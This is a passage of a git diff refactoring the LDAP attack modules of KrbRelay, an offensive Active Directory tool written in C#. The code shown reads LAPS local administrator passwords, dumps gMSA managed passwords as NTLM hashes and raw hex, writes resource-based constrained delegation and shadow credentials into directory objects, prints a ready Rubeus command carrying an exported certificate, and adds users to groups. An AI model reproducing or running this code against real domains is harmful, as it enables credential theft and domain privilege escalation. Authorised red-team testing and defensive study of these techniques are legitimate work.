+ var ptr = Interop.ldap_get_dn(ld, entry);
+ return DecodeASCIIOrUnicode(ptr);
+ }
+
+ public static string GetDistinguishedName(IntPtr ld, string filter) {
+ var timeout = new LDAP_TIMEVAL
+ {
+ tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond)
};
- var modValuePtr = Marshal.AllocHGlobal(IntPtr.Size * 2);
- Helpers.ByteArraysToBerValueArray(modValue.Select(_ => _ ?? new byte[0]).ToArray(), modValuePtr);
- List mod = new List {
- new LDAPMod {
- mod_op = (int)LdapModOperation.LDAP_MOD_REPLACE | (int)LdapModOperation.LDAP_MOD_BVALUES,
- mod_type = modPropPtr,
- mod_vals_u = new LDAPMod.mod_vals
- {
- modv_bvals = modValuePtr
- },
- mod_next = IntPtr.Zero
+ IntPtr pLaps = Helpers.AllocHGlobalIntPtrArray(1 + 1);
+ var controlPtr = Marshal.StringToHGlobalUni("DistinguishedName");
+ Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr);
+
+ var search = Interop.ldap_search(
+ ld,
+ State.domainDN,
+ (int)LdapSearchScope.SubTree,
+ filter,
+ pLaps,
+ 0
+ );
+
+ IntPtr pMessage = IntPtr.Zero;
+ var r = Interop.ldap_result(ld, search, 0, timeout, ref pMessage);
+ var entry = Interop.ldap_first_entry(ld, pMessage);
+ IntPtr ber = IntPtr.Zero;
+
+ var attr = Interop.ldap_first_attribute(ld, entry, ref ber);
+ var vals = Interop.ldap_get_values_len(ld, entry, attr);
+ var attrName = Marshal.PtrToStringUni(attr);
+
+ var result = new List();
+ foreach (var tempPtr in Helpers.GetPointerArray(vals))
+ {
+ berval bervalue = (berval)Marshal.PtrToStructure(
+ tempPtr,
+ typeof(berval)
+ );
+ if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero)
+ {
+ var byteArray = new byte[bervalue.bv_len];
+ Marshal.Copy(bervalue.bv_val, byteArray, 0, bervalue.bv_len);
+ result.Add(byteArray);
}
- };
- var ptr = Marshal.AllocHGlobal(IntPtr.Size * 2); // alloc memory for list with last element null
- Helpers.StructureArrayToPtr(mod, ptr, true);
+ }
+ byte[] t = result.SelectMany(a => a).ToArray();
+ //Console.WriteLine("[+] {0}: {1}", attribute, Encoding.ASCII.GetString(t));
- //int rest = ldap_modify_ext(ld, dn, ptr, IntPtr.Zero, IntPtr.Zero, out int pMessage);
- int rest = Natives.ldap_modify_s(ld, dn, ptr);
- Console.WriteLine("[*] ldap_modify: {0}", (LdapStatus)rest);
+ Marshal.FreeHGlobal(controlPtr);
+ string dn = Encoding.ASCII.GetString(t);
- mod.ForEach(_ =>
+ if (String.IsNullOrEmpty(dn))
{
- Helpers.BerValuesFree(_.mod_vals_u.modv_bvals);
- Marshal.FreeHGlobal(_.mod_vals_u.modv_bvals);
- Marshal.FreeHGlobal(_.mod_type);
- });
- Marshal.FreeHGlobal(ptr);
+ throw new InvalidOperationException("DN was empty");
+ }
- return (LdapStatus)rest;
+ return dn;
+ }
+
+ public static string GetDistinguishedNameFromAccountName(IntPtr ld, string samAccountName, bool treatAsMachine = true)
+ {
+ if (string.IsNullOrEmpty(samAccountName))
+ {
+ if (treatAsMachine)
+ {
+ samAccountName = Environment.MachineName;
+ } else
+ {
+ samAccountName = Environment.UserName;
+ }
+ }
+
+ if (treatAsMachine && !samAccountName.EndsWith("$"))
+ {
+ samAccountName += "$";
+ }
+
+ return GetDistinguishedName(ld, String.Format("(&(objectClass=*)(sAMAccountName={0}))", samAccountName));
}
- public static LdapStatus addAttribute(IntPtr ld, string attribute, byte[] value, string dn)
+ public static string GetDistinguishedNameFromSid(IntPtr ld, string sid)
+ {
+ return GetDistinguishedName(ld, String.Format("(&(objectClass=*)(objectSID={0}))", sid));
+ }
+
+ public static LdapStatus SetAttribute(IntPtr ld, string distinguishedName, string attribute, byte[] value)
+ {
+ return ModifyAttribute(ld, LdapModOperation.Replace, distinguishedName, attribute, new List { value });
+ }
+
+ public static LdapStatus AddAttribute(IntPtr ld, string distinguishedName, string attribute, byte[] value)
+ {
+ return ModifyAttribute(ld, LdapModOperation.Add, distinguishedName, attribute, new List { value });
+ }
+
+ public static LdapStatus RemoveAttribute(IntPtr ld, string distinguishedName, string attribute, byte[] value)
+ {
+ return ModifyAttribute(ld, LdapModOperation.Delete, distinguishedName, attribute, new List { value });
+ }
+
+ private static LdapStatus ModifyAttribute(IntPtr ld, LdapModOperation operation, string distinguishedName, string attribute, List values)
{
var modPropPtr = Marshal.StringToHGlobalUni(attribute);
- var modValue = new List {
- value
- };
var modValuePtr = Marshal.AllocHGlobal(IntPtr.Size * 2);
- Helpers.ByteArraysToBerValueArray(modValue.Select(_ => _ ?? new byte[0]).ToArray(), modValuePtr);
- List mod = new List {
- new LDAPMod {
- mod_op = (int)LdapModOperation.LDAP_MOD_ADD | (int)LdapModOperation.LDAP_MOD_BVALUES,
+ Helpers.ByteArraysToBerValueArray(
+ values.Select(_ => _ ?? new byte[0]).ToArray(),
+ modValuePtr
+ );
+
+ List mod = new List
+ {
+ new LDAPMod
+ {
+ mod_op =
+ (int)operation | (int)LdapModOperation.BValues,
mod_type = modPropPtr,
- mod_vals_u = new LDAPMod.mod_vals
- {
- modv_bvals = modValuePtr
- },
+ mod_vals_u = new LDAPMod.mod_vals { modv_bvals = modValuePtr },
mod_next = IntPtr.Zero
}
};
@@ -100,119 +158,119 @@ public static LdapStatus addAttribute(IntPtr ld, string attribute, byte[] value,
Helpers.StructureArrayToPtr(mod, ptr, true);
//int rest = ldap_modify_ext(ld, dn, ptr, IntPtr.Zero, IntPtr.Zero, out int pMessage);
- int rest = ldap_modify_s(ld, dn, ptr);
+ int rest = Interop.ldap_modify(ld, distinguishedName, ptr);
Console.WriteLine("[*] ldap_modify: {0}", (LdapStatus)rest);
- mod.ForEach(_ =>
- {
- Helpers.BerValuesFree(_.mod_vals_u.modv_bvals);
- Marshal.FreeHGlobal(_.mod_vals_u.modv_bvals);
- Marshal.FreeHGlobal(_.mod_type);
- });
+ mod.ForEach(
+ _ =>
+ {
+ Helpers.BerValuesFree(_.mod_vals_u.modv_bvals);
+ Marshal.FreeHGlobal(_.mod_vals_u.modv_bvals);
+ Marshal.FreeHGlobal(_.mod_type);
+ }
+ );
Marshal.FreeHGlobal(ptr);
return (LdapStatus)rest;
}
- public static string getMachineDN(IntPtr ld, string computername = null)
+ public static Dictionary> GetAttributes(IntPtr ld,IntPtr entry,ref IntPtr ber)
{
- if (string.IsNullOrEmpty(computername))
- {
- computername = Environment.MachineName;
- }
- if (!computername.EndsWith("$"))
+ Dictionary> list = new Dictionary>();
+ for (
+ var attr = Interop.ldap_first_attribute(ld, entry, ref ber);
+ attr != IntPtr.Zero;
+ attr = Interop.ldap_next_attribute(ld, entry, ber)
+ )
{
- computername += "$";
+ var vals = Interop.ldap_get_values_len(ld, entry, attr);
+ if (vals != IntPtr.Zero)
+ {
+ var attrName = Marshal.PtrToStringUni(attr);
+ if (attrName != null)
+ {
+ list.Add(attrName, Helpers.BerValArrayToByteArrays(vals));
+ }
+ Interop.ldap_value_free_len(vals);
+ }
}
+ return list;
+ }
+
+ public static List GetObjects(IntPtr ld, string distinguishedName, string filter, string attribute = null)
+ {
var timeout = new LDAP_TIMEVAL
{
tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond)
};
- IntPtr pLaps = Helpers.AllocHGlobalIntPtrArray(1 + 1);
- var controlPtr = Marshal.StringToHGlobalUni("DistinguishedName");
- Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr);
- var search = Natives.ldap_search(
+
+ var pLaps = Helpers.AllocHGlobalIntPtrArray(1 + 1);
+ var controlPtr = IntPtr.Zero;
+ if (attribute != null)
+ {
+ controlPtr = Marshal.StringToHGlobalUni(attribute);
+ Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr);
+ }
+
+ var search = Interop.ldap_search(
ld,
- $"{Program.domainDN}",
- (int)LdapSearchScope.LDAP_SCOPE_SUBTREE,
- String.Format("(&(objectClass=computer)(sAMAccountName={0}))", computername),
+ distinguishedName,
+ (int)LdapSearchScope.SubTree,
+ filter,
pLaps,
- 0);
- //Console.WriteLine("[*] msgID: {0}", search);
+ 0
+ );
IntPtr pMessage = IntPtr.Zero;
- var r = Natives.ldap_result(
- ld,
- search,
- 0,
- timeout,
- ref pMessage);
- var entry = ldap_first_entry(ld, pMessage);
- IntPtr ber = IntPtr.Zero;
- var attr = ldap_first_attribute(ld, entry, ref ber);
- var vals = ldap_get_values_len(ld, entry, attr);
- var attrName = Marshal.PtrToStringUni(attr);
- //Console.WriteLine("ldap_first_attribute: {0}", attr);
- //Console.WriteLine("ldap_get_values_len: {0}", vals);
- //Console.WriteLine("attrName: {0}", attrName);
+ Interop.ldap_result(ld, search, 1, timeout, ref pMessage);
- var result = new List();
- foreach (var tempPtr in Helpers.GetPointerArray(vals))
+ List result = new List();
+ for (
+ var entry = Interop.ldap_first_entry(ld, pMessage);
+ entry != IntPtr.Zero;
+ entry = Interop.ldap_next_entry(ld, entry)
+ )
{
- Natives.berval bervalue = (Natives.berval)Marshal.PtrToStructure(tempPtr, typeof(Natives.berval));
- if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero)
- {
- var byteArray = new byte[bervalue.bv_len];
- Marshal.Copy(bervalue.bv_val, byteArray, 0, bervalue.bv_len);
- result.Add(byteArray);
- }
+ result.Add(entry);
}
- byte[] t = result.SelectMany(a => a).ToArray();
- //Console.WriteLine("[+] {0}: {1}", attribute, Encoding.ASCII.GetString(t));
+
+ if (controlPtr != IntPtr.Zero)
+ Marshal.FreeHGlobal(controlPtr);
- Marshal.FreeHGlobal(controlPtr);
- return Encoding.ASCII.GetString(t);
- //return "";
+ return result;
}
- public static string getPropertyValue(IntPtr ld, string adObject, string property)
+ public static List GetAttributeRaw(IntPtr ld, string distinguishedName, string filter, string attribute)
{
- var timeout = new Natives.LDAP_TIMEVAL
+ var timeout = new LDAP_TIMEVAL
{
tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond)
};
IntPtr pLaps = Helpers.AllocHGlobalIntPtrArray(1 + 1);
- var controlPtr = Marshal.StringToHGlobalUni(property);
+ var controlPtr = Marshal.StringToHGlobalUni(attribute);
Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr);
- var search = ldap_search(
+
+ var search = Interop.ldap_search(
ld,
- $"{Program.domainDN}",
- (int)LdapSearchScope.LDAP_SCOPE_SUBTREE,
- String.Format("(&(objectClass=*)(sAMAccountName={0}))", adObject),
+ distinguishedName,
+ (int)LdapSearchScope.SubTree,
+ filter,
pLaps,
- 0);
- //Console.WriteLine("[*] msgID: {0}", search);
+ 0
+ );
IntPtr pMessage = IntPtr.Zero;
- var r = ldap_result(
- ld,
- search,
- 0,
- timeout,
- ref pMessage);
- var entry = ldap_first_entry(ld, pMessage);
+ var r = Interop.ldap_result(ld, search, 0, timeout, ref pMessage);
+ var entry = Interop.ldap_first_entry(ld, pMessage);
+
IntPtr ber = IntPtr.Zero;
- var attr = ldap_first_attribute(ld, entry, ref ber);
- var vals = ldap_get_values_len(ld, entry, attr);
- var attrName = Marshal.PtrToStringUni(attr);
- //Console.WriteLine("ldap_first_attribute: {0}", attr);
- //Console.WriteLine("ldap_get_values_len: {0}", vals);
- //Console.WriteLine("attrName: {0}", attrName);
+ var attr = Interop.ldap_first_attribute(ld, entry, ref ber);
+ var vals = Interop.ldap_get_values_len(ld, entry, attr);
var result = new List();
foreach (var tempPtr in Helpers.GetPointerArray(vals))
{
- Natives.berval bervalue = (Natives.berval)Marshal.PtrToStructure(tempPtr, typeof(Natives.berval));
+ berval bervalue = Marshal.PtrToStructure(tempPtr);
if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero)
{
var byteArray = new byte[bervalue.bv_len];
@@ -220,11 +278,33 @@ public static string getPropertyValue(IntPtr ld, string adObject, string propert
result.Add(byteArray);
}
}
- byte[] t = result.SelectMany(a => a).ToArray();
- //Console.WriteLine("[+] {0}: {1}", attribute, Encoding.ASCII.GetString(t));
Marshal.FreeHGlobal(controlPtr);
- return Encoding.ASCII.GetString(t);
+ return result;
+ }
+
+ public static List GetAttribute(IntPtr ld, string distinguishedName, string attribute)
+ {
+ return GetAttributeRaw(ld, distinguishedName, "(objectClass=*)", attribute);
+ }
+
+ public static List GetAttributeWithAccountName(IntPtr ld, string samAccountName, string attribute)
+ {
+ return GetAttributeRaw(ld, State.domainDN, String.Format("(&(sAMAccountName={0}))", samAccountName), attribute);
+ }
+
+ public static string GetAttributeAsString(IntPtr ld, string distinguishedName, string attribute)
+ {
+ List result = GetAttribute(ld, distinguishedName, attribute);
+ byte[] flat = result.SelectMany(a => a).ToArray();
+ return DecodeASCIIOrUnicode(flat);
+ }
+
+ public static string GetAttributeWithAccountNameAsString(IntPtr ld, string samAccountName, string attribute)
+ {
+ List result = GetAttributeWithAccountName(ld, samAccountName, attribute);
+ byte[] flat = result.SelectMany(a => a).ToArray();
+ return DecodeASCIIOrUnicode(flat);
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/LAPS.cs b/KrbRelay/Clients/Attacks/Ldap/LAPS.cs
index 77e010a..60f7deb 100644
--- a/KrbRelay/Clients/Attacks/Ldap/LAPS.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/LAPS.cs
@@ -3,7 +3,6 @@
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
-using static KrbRelay.Natives;
namespace KrbRelay.Clients.Attacks.Ldap
{
@@ -11,7 +10,7 @@ internal class LAPS
{
public static void read(IntPtr ld, string computer = "")
{
- var timeout = new Natives.LDAP_TIMEVAL
+ var timeout = new LDAP_TIMEVAL
{
tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond)
};
@@ -22,45 +21,51 @@ public static void read(IntPtr ld, string computer = "")
int search = 0;
if (string.IsNullOrEmpty(computer))
{
- search = Natives.ldap_search(
+ search = Interop.ldap_search(
ld,
- $"{Program.domainDN}",
- (int)LdapSearchScope.LDAP_SCOPE_SUBTREE,
+ State.domainDN,
+ (int)LdapSearchScope.SubTree,
"(&(objectClass=computer)(ms-MCS-AdmPwd=*))",
pLaps,
- 0);
+ 0
+ );
}
else
{
- search = Natives.ldap_search(
+ search = Interop.ldap_search(
ld,
- $"{Program.domainDN}",
- (int)LdapSearchScope.LDAP_SCOPE_SUBTREE,
- String.Format("(&(objectClass=computer)(sAMAccountName={0}))", computer.ToUpper()),
+ State.domainDN,
+ (int)LdapSearchScope.SubTree,
+ String.Format(
+ "(&(objectClass=computer)(sAMAccountName={0}))",
+ computer.ToUpper()
+ ),
pLaps,
- 0);
+ 0
+ );
}
//Console.WriteLine("[*] msgID: {0}", search);
IntPtr pMessage = IntPtr.Zero;
- var r = Natives.ldap_result(
- ld,
- search,
- 1,
- timeout,
- ref pMessage);
+ var r = Interop.ldap_result(ld, search, 1, timeout, ref pMessage);
Console.WriteLine("[*] ldap_result: {0}", (LdapResultType)r);
- Dictionary>> result = new Dictionary>>();
+ Dictionary>> result =
+ new Dictionary>>();
var ber = Marshal.AllocHGlobal(IntPtr.Size);
- for (var entry = Natives.ldap_first_entry(ld, pMessage); entry != IntPtr.Zero;
- entry = Natives.ldap_next_entry(ld, entry))
+ for (
+ var entry = Interop.ldap_first_entry(ld, pMessage);
+ entry != IntPtr.Zero;
+ entry = Interop.ldap_next_entry(ld, entry)
+ )
{
- string dn = Generic.GetLdapDn(ld, entry);//.Split(',').First().Replace("CN=","");
- Dictionary> aa = Generic.GetLdapAttributes(ld, entry, ref ber);
- string password = Encoding.ASCII.GetString(aa.Values.SelectMany(a => a).ToArray().SelectMany(a => a).ToArray());
+ string dn = Generic.GetDistinguishedName(ld, entry); //.Split(',').First().Replace("CN=","");
+ Dictionary> aa = Generic.GetAttributes(ld, entry, ref ber);
+ string password = Encoding.ASCII.GetString(
+ aa.Values.SelectMany(a => a).ToArray().SelectMany(a => a).ToArray()
+ );
Console.WriteLine("dn: {0, -60} {1}", dn, password);
}
return;
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/RBCD.cs b/KrbRelay/Clients/Attacks/Ldap/RBCD.cs
index e8fb98a..d56815f 100644
--- a/KrbRelay/Clients/Attacks/Ldap/RBCD.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/RBCD.cs
@@ -1,23 +1,45 @@
using System;
using System.Security.AccessControl;
-using static KrbRelay.Natives;
+using System.Security.Principal;
namespace KrbRelay.Clients.Attacks.Ldap
{
internal class RBCD
{
- public static LdapStatus attack(IntPtr ld, string sid, string computername = null)
+ public static LdapStatus attack(IntPtr ld, string nameOrSid, string computername = null)
{
- if (!sid.StartsWith("S-1-5-"))
- {
- sid = Generic.getPropertyValue(ld, sid, "objectSid");
+ if (!nameOrSid.StartsWith("S-1-5-")) {
+ if (!nameOrSid.StartsWith("S-"))
+ {
+ // Is this safe to assume?
+ if (!nameOrSid.EndsWith("$"))
+ {
+ nameOrSid += "$";
+ }
+
+ var sidBytes = Generic.GetAttributeWithAccountName(ld, nameOrSid, "objectSid")[0];
+ nameOrSid = new SecurityIdentifier(sidBytes, 0).ToString();
+ }
}
- string dn = Generic.getMachineDN(ld, computername);
- var dacl = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid + ")";
+
+ string dn = Generic.GetDistinguishedNameFromAccountName(ld, computername, true);
+ var dacl = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + nameOrSid + ")";
RawSecurityDescriptor sd = new RawSecurityDescriptor(dacl);
byte[] value = new byte[sd.BinaryLength];
sd.GetBinaryForm(value, 0);
- return Generic.setAttribute(ld, "msDS-AllowedToActOnBehalfOfOtherIdentity", value, dn);
+ var result = Generic.SetAttribute(ld, dn, "msDS-AllowedToActOnBehalfOfOtherIdentity", value);
+
+ if (result == LdapStatus.Success)
+ {
+ Console.WriteLine("[+] Successfully configured RBCD");
+ Console.WriteLine(" |- DN: {0}", dn);
+ Console.WriteLine(" |- SID: {0}", nameOrSid);
+ } else
+ {
+ Console.WriteLine("[!] Failed to configure RBCD: {0}", result);
+ }
+
+ return result;
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/ShadowCredential.cs b/KrbRelay/Clients/Attacks/Ldap/ShadowCredential.cs
index 8597ac8..26596d2 100644
--- a/KrbRelay/Clients/Attacks/Ldap/ShadowCredential.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/ShadowCredential.cs
@@ -9,49 +9,119 @@
using Org.BouncyCastle.Utilities;
using Org.BouncyCastle.X509;
using System;
+using System.Collections.Generic;
using System.IO;
+using System.Linq;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
-using static KrbRelay.Natives;
namespace KrbRelay.Clients.Attacks.Ldap
{
internal class ShadowCredential
{
- // writing to msDS-KeyCredentialLink can only be done once.
+ static readonly byte[] GuidTrackPrefix = new byte[] { 0xd0, 0x9f, 0x1b, 0x27 };
+
public static LdapStatus attack(IntPtr ld, string target = "")
{
- //string dn = Generic.getMachineDN(ld, "");
- string dn = Generic.getPropertyValue(ld, target, "distinguishedName");
+ string dn = Generic.GetDistinguishedNameFromAccountName(ld, target);
string password = Guid.NewGuid().ToString();
- //Console.WriteLine(dn);
-
+
+ // First query and remove existing entries we might have added
+
+ List entries = Generic.GetAttribute(ld, dn, "msDS-KeyCredentialLink");
+
+ if (entries.Count > 0)
+ {
+ Console.WriteLine("[*] Existing linked credentials:");
+ foreach(var entry in entries)
+ {
+ var credential = KeyCredential.ParseDNBinary(Encoding.ASCII.GetString(entry));
+ byte[] guidPrefix = credential.DeviceId?.ToByteArray().Take(GuidTrackPrefix.Length).ToArray();
+ if (guidPrefix.SequenceEqual(GuidTrackPrefix))
+ {
+ var removeResult = Generic.RemoveAttribute(ld, dn, "msDS-KeyCredentialLink", entry);
+ Console.WriteLine(" |- {0} [Delete -> {1}]", credential.DeviceId, removeResult);
+ } else
+ {
+ Console.WriteLine(" |- {0}", credential.DeviceId);
+ }
+ }
+ }
+
X509Certificate2 cert;
KeyCredential keyCredential;
//cert = GenerateSelfSignedCert(dn);
// > net45
- RSA rsa = new RSACryptoServiceProvider(2048, new CspParameters(24, "Microsoft Enhanced RSA and AES Cryptographic Provider", Guid.NewGuid().ToString()));
- CertificateRequest req = new CertificateRequest(String.Format("cn={0}", target), rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
+ RSA rsa = new RSACryptoServiceProvider(
+ 2048,
+ new CspParameters(
+ 24,
+ "Microsoft Enhanced RSA and AES Cryptographic Provider",
+ Guid.NewGuid().ToString()
+ )
+ );
+ CertificateRequest req = new CertificateRequest(
+ String.Format("cn={0}", target),
+ rsa,
+ HashAlgorithmName.SHA256,
+ RSASignaturePadding.Pkcs1
+ );
cert = req.CreateSelfSigned(DateTimeOffset.Now, DateTimeOffset.Now.AddYears(1));
-
+ // Apply a prefix so we can track for removal later
Guid guid = Guid.NewGuid();
+ byte[] guidBytes = guid.ToByteArray();
+ for(int i = 0; i < GuidTrackPrefix.Length; i++)
+ {
+ guidBytes[i] = GuidTrackPrefix[i];
+ }
+ guid = new Guid(guidBytes);
+
keyCredential = new KeyCredential(cert, guid, dn, DateTime.Now);
- LdapStatus ret = Generic.setAttribute(ld, "msDS-KeyCredentialLink", Encoding.ASCII.GetBytes(keyCredential.ToDNWithBinary()), dn);
- if (ret != LdapStatus.LDAP_SUCCESS)
- return ret;
-
+
+ LdapStatus result;
+ if (entries.Count > 0)
+ {
+ result = Generic.AddAttribute(
+ ld,
+ dn,
+ "msDS-KeyCredentialLink",
+ Encoding.ASCII.GetBytes(keyCredential.ToDNWithBinary())
+ );
+ } else
+ {
+ result = Generic.SetAttribute(
+ ld,
+ dn,
+ "msDS-KeyCredentialLink",
+ Encoding.ASCII.GetBytes(keyCredential.ToDNWithBinary())
+ );
+ }
+
+
+ if (result != LdapStatus.Success)
+ return result;
+
byte[] certBytes = cert.Export(X509ContentType.Pfx, password);
var certOutput = Convert.ToBase64String(certBytes);
- Console.WriteLine("Rubeus.exe asktgt /user:{0} /certificate:{1} /password:\"{2}\" /getcredentials /show", target, certOutput, password);
-
- return ret;
+ Console.WriteLine("[+] Added credentials, here is your Rubeus command:\n");
+ Console.WriteLine(
+ "Rubeus.exe asktgt /user:{0} /certificate:{1} /password:\"{2}\" /getcredentials /show\n",
+ target,
+ certOutput,
+ password
+ );
+
+ return result;
}
//https://stackoverflow.com/a/51687630
- public static X509Certificate2 GenerateSelfSignedCert(string subjectName, int keyStrength = 2048)
+ public static X509Certificate2 GenerateSelfSignedCert(
+ string subjectName,
+ int keyStrength = 2048
+ )
{
// Generating Random Numbers
var randomGenerator = new CryptoApiRandomGenerator();
@@ -61,7 +131,11 @@ public static X509Certificate2 GenerateSelfSignedCert(string subjectName, int ke
var certificateGenerator = new X509V3CertificateGenerator();
// Serial Number
- var serialNumber = BigIntegers.CreateRandomInRange(BigInteger.One, BigInteger.ValueOf(Int64.MaxValue), random);
+ var serialNumber = BigIntegers.CreateRandomInRange(
+ BigInteger.One,
+ BigInteger.ValueOf(Int64.MaxValue),
+ random
+ );
certificateGenerator.SetSerialNumber(serialNumber);
// Signature Algorithm
@@ -100,17 +174,24 @@ public static X509Certificate2 GenerateSelfSignedCert(string subjectName, int ke
var pkcs12Store = new Pkcs12Store();
var certEntry = new X509CertificateEntry(certificate);
pkcs12Store.SetCertificateEntry(subjectName, certEntry);
- pkcs12Store.SetKeyEntry(subjectName, new AsymmetricKeyEntry(subjectKeyPair.Private), new[] { certEntry });
+ pkcs12Store.SetKeyEntry(
+ subjectName,
+ new AsymmetricKeyEntry(subjectKeyPair.Private),
+ new[] { certEntry }
+ );
X509Certificate2 keyedCert;
using (MemoryStream pfxStream = new MemoryStream())
{
pkcs12Store.Save(pfxStream, new char[0], new SecureRandom());
pfxStream.Seek(0, SeekOrigin.Begin);
- keyedCert = new X509Certificate2(pfxStream.ToArray(), string.Empty, X509KeyStorageFlags.Exportable);
+ keyedCert = new X509Certificate2(
+ pfxStream.ToArray(),
+ string.Empty,
+ X509KeyStorageFlags.Exportable
+ );
}
return keyedCert;
}
-
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/addGroupMember.cs b/KrbRelay/Clients/Attacks/Ldap/addGroupMember.cs
index a8ee883..55eff73 100644
--- a/KrbRelay/Clients/Attacks/Ldap/addGroupMember.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/addGroupMember.cs
@@ -1,16 +1,15 @@
using System;
using System.Text;
-using static KrbRelay.Natives;
namespace KrbRelay.Clients.Attacks.Ldap
{
- internal class addGroupMember
+ internal class AddGroupMember
{
public static LdapStatus attack(IntPtr ld, string group, string user)
{
- string groupDn = Generic.getPropertyValue(ld, group, "distinguishedName");
- string userDn = Generic.getPropertyValue(ld, user, "distinguishedName");
- return Generic.addAttribute(ld, "member", Encoding.ASCII.GetBytes(userDn), groupDn);
+ string groupDn = Generic.GetAttributeWithAccountNameAsString(ld, group, "distinguishedName");
+ string userDn = Generic.GetAttributeWithAccountNameAsString(ld, user, "distinguishedName");
+ return Generic.AddAttribute(ld, groupDn, "member", Encoding.ASCII.GetBytes(userDn));
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/gMSA.cs b/KrbRelay/Clients/Attacks/Ldap/gMSA.cs
index 4ad3a86..c3f9c78 100644
--- a/KrbRelay/Clients/Attacks/Ldap/gMSA.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/gMSA.cs
@@ -3,7 +3,7 @@
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
-using static KrbRelay.Natives;
+using System.Text;
namespace KrbRelay.Clients.Attacks.Ldap
{
@@ -11,57 +11,62 @@ internal class gMSA
{
public static void read(IntPtr ld, string gMsaUser = "")
{
- var timeout = new LDAP_TIMEVAL
- {
- tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond)
- };
- IntPtr pLaps = Helpers.AllocHGlobalIntPtrArray(1 + 1);
- var controlPtr = Marshal.StringToHGlobalUni("msDS-ManagedPassword");
- Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr);
-
- int search = 0;
+ List entries;
if (string.IsNullOrEmpty(gMsaUser))
{
- search = ldap_search(
- ld,
- $"{Program.domainDN}",
- (int)LdapSearchScope.LDAP_SCOPE_SUBTREE,
- "(&(objectClass=msDS-GroupManagedServiceAccount))",
- pLaps,
- 0);
+ entries = Generic.GetObjects(ld, State.domainDN, "(&(objectClass=msDS-GroupManagedServiceAccount))", "msDS-ManagedPassword");
}
else
{
- search = ldap_search(
- ld,
- $"{Program.domainDN}",
- (int)LdapSearchScope.LDAP_SCOPE_SUBTREE,
- String.Format("(&(objectClass=msDS-GroupManagedServiceAccount)(sAMAccountName={0}))", gMsaUser.ToUpper()),
- pLaps,
- 0);
+ entries = Generic.GetObjects(ld, State.domainDN, "(&(objectClass=msDS-GroupManagedServiceAccount)(sAMAccountName={0}))", "msDS-ManagedPassword");
}
- //Console.WriteLine("[*] msgID: {0}", search);
-
- IntPtr pMessage = IntPtr.Zero;
- var r = Natives.ldap_result(
- ld,
- search,
- 1,
- timeout,
- ref pMessage);
- Console.WriteLine("[*] ldap_result: {0}", (LdapResultType)r);
- Dictionary>> result = new Dictionary>>();
- var ber = Marshal.AllocHGlobal(IntPtr.Size);
- for (var entry = ldap_first_entry(ld, pMessage); entry != IntPtr.Zero; entry = Natives.ldap_next_entry(ld, entry))
+
+ if (entries.Count == 0)
{
- string dn = Generic.GetLdapDn(ld, entry);
- Dictionary> aa = Generic.GetLdapAttributes(ld, entry, ref ber);
- var managedPassword = new MsDsManagedPassword(aa.Values.SelectMany(a => a).ToArray().SelectMany(a => a).ToArray());
+ Console.WriteLine("[-] No gMSA entries");
+ return;
+ }
+
+ foreach(var entry in entries)
+ {
+ string dn = Generic.GetDistinguishedName(ld, entry);
+
+ IntPtr ber = IntPtr.Zero;
+ Dictionary> aa = Generic.GetAttributes(ld, entry, ref ber);
+ var managedPassword = new MsDsManagedPassword(
+ aa.Values.SelectMany(a => a).ToArray().SelectMany(a => a).ToArray()
+ );
+
+ Console.WriteLine("[+] Got gMSA:\n");
Console.WriteLine("Username: {0}", dn);
- Console.WriteLine("NT hash: {0}", Helpers.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, managedPassword.CurrentPassword));
- Console.WriteLine("PasswordGoodUntil: {0}", managedPassword.PasswordGoodUntil.ToString());
+ Console.WriteLine(
+ "PasswordGoodUntil: {0}",
+ managedPassword.PasswordGoodUntil.ToString()
+ );
+ Console.WriteLine(
+ "NTLM: {0}",
+ Helpers.KerberosPasswordHash(
+ KERB_ETYPE.rc4_hmac,
+ managedPassword.CurrentPassword
+ )
+ );
+ Console.WriteLine(
+ "Raw: {0}",
+ Helpers.ByteArrayToHex(Encoding.Unicode.GetBytes(managedPassword.CurrentPassword))
+ );
+
if (managedPassword.OldPassword != null)
- Console.WriteLine("Old NT hash: {0}", Helpers.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, managedPassword.OldPassword));
+ Console.WriteLine(
+ "Old NTLM: {0}",
+ Helpers.KerberosPasswordHash(
+ KERB_ETYPE.rc4_hmac,
+ managedPassword.OldPassword
+ )
+ );
+ Console.WriteLine(
+ "Old Raw: {0}",
+ Helpers.ByteArrayToHex(Encoding.Unicode.GetBytes(managedPassword.OldPassword))
